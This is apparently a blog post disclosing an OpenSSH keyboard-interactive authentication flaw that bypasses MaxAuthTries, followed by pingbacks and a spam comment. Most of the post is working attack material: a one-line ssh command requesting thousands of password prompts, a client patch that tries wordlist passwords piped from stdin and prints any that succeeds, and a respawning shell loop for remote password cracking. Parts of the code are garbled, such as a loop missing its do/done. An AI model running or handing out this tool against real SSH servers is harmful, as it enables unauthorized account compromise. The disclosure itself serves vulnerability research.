OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

OpenSSH has a default value of six authentication tries before it will close the connection (the ssh client allows only three password entries per default).

With this vulnerability an attacker is able to request as many password prompts limited by the “login graced time” setting, that is set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 > char password[1024];
 < authctxt->success = 1; /* break out */
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 > char *devicebuffer;
 > int i;
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 > packet_put_cstring(devicebuffer);
 < char *name, *inst, *lang, *prompt, *response;
 > char *name, *inst, *lang, *prompt;
 < int echo = 0;
 > char *pos;
 < echo = packet_get_char();
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);

After applying the patch you can use this shell script to make the password attack from a wordlist:

# run as:
# cat wordlist.txt | ./ ssh-username ssh-target
while true
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...

For example enter this command:

cat wordlist.txt | ./ test

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.


69 thoughts on “OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

  1. Pingback: Bug in OpenSSH Opens Linux Machines to Password Cracking Attack | Geekizer

  2. Pingback: OpenSSH的bug让系统面临暴力破解攻击

  3. Pingback: Two-Factor Authentication News • Authy

  4. Pingback: Bug in OpenSSH Opens Linux Machines to Password Cracking Attack - Science and Technology -

  5. Pingback: The OpenSSH Bug That Wasn't

  6. Pingback: Security News #0x89 – #OpIcarus

  7. Pingback: Bug in OpenSSH Opens Linux Machines to Password Cracking Attack - xdalab

  8. Двигатель разницы давлений в жидкости это новое техническое решение в энергетике. Применение этого двигателя позволит увеличить эффективность действия электростанций в четыре раза, а также позволит создавать принципиально новые источники энергии.Подробное описание находится на сайте

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s